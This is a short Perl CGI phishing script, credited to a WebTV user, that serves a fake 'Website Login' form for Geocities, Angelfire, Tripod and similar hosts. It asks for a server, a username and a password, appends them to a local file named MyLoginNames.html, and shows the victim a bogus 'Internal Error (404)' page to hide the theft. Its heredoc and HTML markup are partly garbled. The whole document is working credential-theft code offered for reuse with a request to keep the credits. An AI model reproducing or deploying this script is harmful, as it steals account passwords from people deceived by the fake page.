#!/usr/bin/perl ################################ #        Created By:           # #   Midd_Knight-@webtv.net     # ################################ # Please Leave Credits Intact! # ################################ use CGI qw(param); $username = param("username"); $password = param("password"); $server = param("server"); open(DASH,">>MyLoginNames.html"); print "Content-Type: text/html\n\n"; print <    Website Login 

Website Login




This form will login to your website server. Here is the list of servers it will work with.
€ Yahoo! Geocities
€ Angelfire
€ Tripod
€ Hypermart
€ Spree


What Server:

Your Web Site Login Name:

Your Web Site Password:

<br><br> COLDMAIL print <<COLDMAIL if $username ne ""; <html><head><title>Internal Error (404)</title> <body> Internal Error ( 404 )<Br> COLDMAIL print DASH "$server"; print DASH "<br><Br>"; print DASH "$username"; print DASH "<br><Br>"; print DASH "$password"; print DASH "<hr noshade>"; close(DASH); exit;